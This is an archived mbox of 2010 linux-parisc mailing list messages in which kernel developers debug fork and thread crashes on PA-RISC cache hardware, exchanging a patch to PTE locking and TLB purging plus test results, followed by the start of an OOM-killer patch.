On Wed, Apr 14, 2010 at 9:13 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> Sorry guys, something went awry with spamassassin, and it started
> marking a pile of my legitimate mail as spam (something to do with tabs
> in From and Date headers...) I'm working through recovering it from my
> inbox and list folders, but I don't think I'll have caught up until
> after the weekend.

Thanks!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 19 Apr 2010 12:26:54 -0400
Organization: nrc.ca
Lines: 460
Approved: news@gmane.org
Message-ID: <20100419162653.GA106@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="6TrnltStXW4iwmi0"
X-Trace: dough.gmane.org 1271694456 25348 80.91.229.12 (19 Apr 2010 16:27:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Apr 2010 16:27:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 19 18:27:31 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O3too-0004Mn-DT
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Apr 2010 18:27:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755542Ab0DSQ06 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 19 Apr 2010 12:26:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3768 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755450Ab0DSQ05 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 19 Apr 2010 12:26:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4C07C4E77; Mon, 19 Apr 2010 12:26:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100413115501.307040@gmx.net>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2796>


--6TrnltStXW4iwmi0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Helge,

On Tue, 13 Apr 2010, Helge Deller wrote:

> Still crashes.

Can you you try the patch below?  The change to cacheflush.h is the same
as before.

I have lightly tested the attached change on rp3440 with SMP 2.6.33.2
kernel.  It got through a GCC build at -j8, which is something of a
record.  However, I did see one issue this morning in the ada testsuite:

malloc: ../bash/make_cmd.c:100: assertion botched
malloc: block on free list clobbered
Aborting.../home/dave/gnu/gcc/gcc/gcc/testsuite/ada/acats/run_all.sh: line 67: 29176 Aborted                 (core dumped) ls ${i}.adb >> ${i}.lst 2> /dev/null

I have seen this before.

The change reworks all code that manipulates ptes to use the pa_dbit_lock
to ensure that we don't lose state information during updates.  I also
added code to purge the tlb associated with the pte as it wasn't obvious
to me how for example the write protect bit got set in the tlb.

Someone had clearly tried to fix the dirty bit handling in the past,
but the change was incomplete.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--6TrnltStXW4iwmi0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="pte.d.2"

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..ab87176 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -113,11 +114,20 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return page_address(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
 #endif
 
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..6a221af 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -38,7 +38,8 @@
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)				\
+	do { set_pte(ptep,pteval); purge_tlb_page(mm, addr); } while(0) 
 
 #endif /* !__ASSEMBLY__ */
 
@@ -410,6 +411,8 @@ extern void paging_init (void);
 
 #define PG_dcache_dirty         PG_arch_1
 
+extern void flush_cache_page(struct vm_area_struct *, unsigned long, unsigned long);
+extern void purge_tlb_page(struct mm_struct *, unsigned long);
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
 /* Encode and de-code a swap entry */
@@ -423,22 +426,39 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+extern spinlock_t pa_dbit_lock;
+
+static inline void pte_update_lock (void)
 {
 #ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
+	preempt_disable();
+	spin_lock(&pa_dbit_lock);
+#endif
+}
+static inline void pte_update_unlock (void)
+{
+#ifdef CONFIG_SMP
+	spin_unlock(&pa_dbit_lock);
+	preempt_enable();
 #endif
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+
+	pte_update_lock();
+	pte = *ptep;
+	if (!pte_young(pte)) {
+		pte_update_unlock();
+		return 0;
+	}
+	set_pte(ptep, pte_mkold(pte));
+	pte_update_unlock();
+	purge_tlb_page(vma->vm_mm, addr);
+
+	return 1;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
@@ -446,29 +466,29 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	pte_t old_pte;
 	pte_t pte;
 
-	spin_lock(&pa_dbit_lock);
+	pte_update_lock();
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	set_pte(ptep,pte);
+	pte_update_unlock();
+	purge_tlb_page(mm, addr);
 
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
+	pte_t old_pte;
 
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	pte_update_lock();
+	old_pte = *ptep;
+	set_pte(ptep, pte_wrprotect(old_pte));
+	pte_update_unlock();
+
+	if (pte_present(old_pte) && pte_dirty(old_pte))
+		flush_cache_page(vma, addr, pte_pfn(*ptep));
+	purge_tlb_page(mm, addr);
 }
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..cd64e38 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -577,3 +577,17 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void purge_tlb_page(struct mm_struct *mm, unsigned long addr)
+{
+        unsigned long flags;
+
+        /* For one page, it's not worth testing the split_tlb variable */
+
+        mb();
+        mtsp(mm->context,1);
+        purge_tlb_start(flags);
+        pdtlb(addr);
+        pitlb(addr);
+        purge_tlb_end(flags);
+}
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..12ebb8a 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -490,19 +464,57 @@
 
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
+	.macro		update_ptep	ptep,pte,spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,3f
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_dbit_lock),\tmp
+1:
+	LDCW		0(\tmp),\tmp1
+	cmpib,COND(=)         0,\tmp1,1b
+	nop
+	LDREG		0(\ptep),\pte
+2:
+	ldi		_PAGE_ACCESSED,\tmp1
+	or		\tmp1,\pte,\pte
+	STREG		\pte,0(\ptep)
+
+	cmpib,COND(=),n        0,\spc,3f
+	ldi             1,\tmp1
+	stw             \tmp1,0(\tmp)
+3:
+#else
 	ldi		_PAGE_ACCESSED,\tmp1
 	or		\tmp1,\pte,\tmp
 	and,COND(<>)	\tmp1,\pte,%r0
 	STREG		\tmp,0(\ptep)
+#endif
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
-	.macro		update_dirty	ptep,pte,tmp
-	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
-	or		\tmp,\pte,\pte
+	.macro		update_dirty	ptep,pte,spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_dbit_lock),\tmp
+1:
+	LDCW		0(\tmp),\tmp1
+	cmpib,COND(=)         0,\tmp1,1b
+	nop
+	LDREG		0(\ptep),\pte
+2:
+#endif
+
+	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp1
+	or		\tmp1,\pte,\pte
 	STREG		\pte,0(\ptep)
+
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,3f
+	ldi             1,\tmp1
+	stw             \tmp1,0(\tmp)
+3:
+#endif
 	.endm
 
 	/* bitshift difference between a PFN (based on kernel's PAGE_SIZE)
@@ -1214,7 +1224,7 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
@@ -1238,7 +1248,7 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
@@ -1272,7 +1282,7 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1321,7 +1331,7 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1368,7 +1378,7 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
@@ -1394,7 +1404,7 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
@@ -1508,7 +1518,7 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
@@ -1526,7 +1536,7 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1548,7 +1558,7 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
@@ -1570,29 +1580,11 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	update_dirty	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
 
 	rfir
 	nop
@@ -1606,18 +1598,7 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	update_dirty	ptp,pte,spc,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1628,13 +1609,6 @@ dbit_nolock_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
 
 	rfir
 	nop
@@ -1646,18 +1620,7 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	update_dirty	ptp,pte,spc,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
@@ -1665,14 +1628,6 @@ dbit_nolock_20:
 	
         idtlbt          pte,prot
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif

From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 20 Apr 2010 19:59:10 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <4BCDEB6E.1060408@gmx.de>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271786370 20022 80.91.229.12 (20 Apr 2010 17:59:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Apr 2010 17:59:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 20 19:59:25 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O4HjH-0003Fb-TO
	for glpp-linux-parisc@lo.gmane.org; Tue, 20 Apr 2010 19:59:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755099Ab0DTR7W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Apr 2010 13:59:22 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:45398 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755091Ab0DTR7V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Apr 2010 13:59:21 -0400
Original-Received: (qmail invoked by alias); 20 Apr 2010 17:59:19 -0000
Original-Received: from p54AD11C3.dip0.t-ipconnect.de (EHLO halden.box) [84.173.17.195]
  by mail.gmx.net (mp068) with SMTP; 20 Apr 2010 19:59:19 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+iFVkXAgei8XyQOf+DxikdwpIz9Y6i1cgvhv7kGB
	Hv7yvHl3CS7Col
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100419162653.GA106@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55000000000000004
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2798>

Hi Dave,

On 04/19/2010 06:26 PM, John David Anglin wrote:
> On Tue, 13 Apr 2010, Helge Deller wrote:
>> Still crashes.
> 
> Can you you try the patch below?  The change to cacheflush.h is the same
> as before.

Thanks for the patch.
I applied it on top of a clean 2.6.33.2 kernel and ran multiple parallel 
minifail programs on my B2000 (2 CPUs, SMP kernel, 32bit kernel).
Sadly minifail still crashed the same way as before.

Should I have applied other patches as well?

Helge

> I have lightly tested the attached change on rp3440 with SMP 2.6.33.2
> kernel.  It got through a GCC build at -j8, which is something of a
> record.  However, I did see one issue this morning in the ada testsuite:
> 
> malloc: ../bash/make_cmd.c:100: assertion botched
> malloc: block on free list clobbered
> Aborting.../home/dave/gnu/gcc/gcc/gcc/testsuite/ada/acats/run_all.sh: line 67: 29176 Aborted                 (core dumped) ls ${i}.adb >> ${i}.lst 2> /dev/null
> 
> I have seen this before.
> 
> The change reworks all code that manipulates ptes to use the pa_dbit_lock
> to ensure that we don't lose state information during updates.  I also
> added code to purge the tlb associated with the pte as it wasn't obvious
> to me how for example the write protect bit got set in the tlb.
> 
> Someone had clearly tried to fix the dirty bit handling in the past,
> but the change was incomplete.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 20 Apr 2010 14:52:53 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20100420185255.3D8CF4E77@hiauly1.hia.nrc.ca>
References: <4BCDEB6E.1060408@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271789582 2114 80.91.229.12 (20 Apr 2010 18:53:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Apr 2010 18:53:02 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	gniibe@fsij.org, carlos@systemhalted.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 20 20:52:59 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O4IZ8-0003Xx-Rn
	for glpp-linux-parisc@lo.gmane.org; Tue, 20 Apr 2010 20:52:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752740Ab0DTSw6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Apr 2010 14:52:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3853 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752697Ab0DTSw5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Apr 2010 14:52:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3D8CF4E77; Tue, 20 Apr 2010 14:52:54 -0400 (EDT)
In-Reply-To: <4BCDEB6E.1060408@gmx.de> from "Helge Deller" at Apr 20, 2010 07:59:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2799>

Helge,

Ok, I think the next thing to try is to try a patch with the tlb
purges and inserts inside the locked region so that the pte and tlb
updates are fully consistent.

I fired up four windows and started minifail on gsyprf11 and got
a core dump in the thread within a couple of minutes.  The parent
was in pthread_join.

Overall stability is definitely better with the change on my rp3440.
I have now got through three GCC builds at -j8.  This never worked before,
so I think we have some progress.

Thanks for testing,
Dave

> Thanks for the patch.
> I applied it on top of a clean 2.6.33.2 kernel and ran multiple parallel 
> minifail programs on my B2000 (2 CPUs, SMP kernel, 32bit kernel).
> Sadly minifail still crashed the same way as before.
> 
> Should I have applied other patches as well?
> 
> Helge
> 
> > I have lightly tested the attached change on rp3440 with SMP 2.6.33.2
> > kernel.  It got through a GCC build at -j8, which is something of a
> > record.  However, I did see one issue this morning in the ada testsuite:
> > 
> > malloc: ../bash/make_cmd.c:100: assertion botched
> > malloc: block on free list clobbered
> > Aborting.../home/dave/gnu/gcc/gcc/gcc/testsuite/ada/acats/run_all.sh: line 67: 29176 Aborted                 (core dumped) ls ${i}.adb >> ${i}.lst 2> /dev/null
> > 
> > I have seen this before.
> > 
> > The change reworks all code that manipulates ptes to use the pa_dbit_lock
> > to ensure that we don't lose state information during updates.  I also
> > added code to purge the tlb associated with the pte as it wasn't obvious
> > to me how for example the write protect bit got set in the tlb.
> > 
> > Someone had clearly tried to fix the dirty bit handling in the past,
> > but the change was incomplete.
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: npiggin@suse.de
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [patch 10/14] parisc: invoke oom-killer from page fault
Date: Fri, 23 Apr 2010 02:06:23 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <20100422161224.322033236@suse.de>
References: <20100422160613.723698029@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1271953080 13425 80.91.229.12 (22 Apr 2010 16:18:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Apr 2010 16:18:00 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 22 18:17:57 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O4z6B-00077z-EU
	for glpp-linux-parisc@lo.gmane.org; Thu, 22 Apr 2010 18:17:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754157Ab0DVQRx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Apr 2010 12:17:53 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:52105 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754109Ab0DVQRw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Apr 2010 12:17:52 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id DA34E945D8;
	Thu, 22 Apr 2010 18:17:51 +0200 (CEST)
Original-Received: by laptop.local0.net (Postfix, from userid 1000)
	id 0430A29822; Fri, 23 Apr 2010 02:17:26 +1000 (EST)
User-Agent: quilt/0.48-4.4
Content-Disposition: inline; filename=parisc-pagefault-use-oom.patch
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2801 gmane.linux.kernel.cross-arch:6091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2801>

As explained in commit 1c0fe6e3bd, we want to call the architecture independent
oom killer when getting an unexplained OOM from handle_mm_fault, rather than
simply killing current.

Cc: linux-parisc@vger.kernel.org
Cc: Kyle McMartin <kyle@mcmartin.ca>
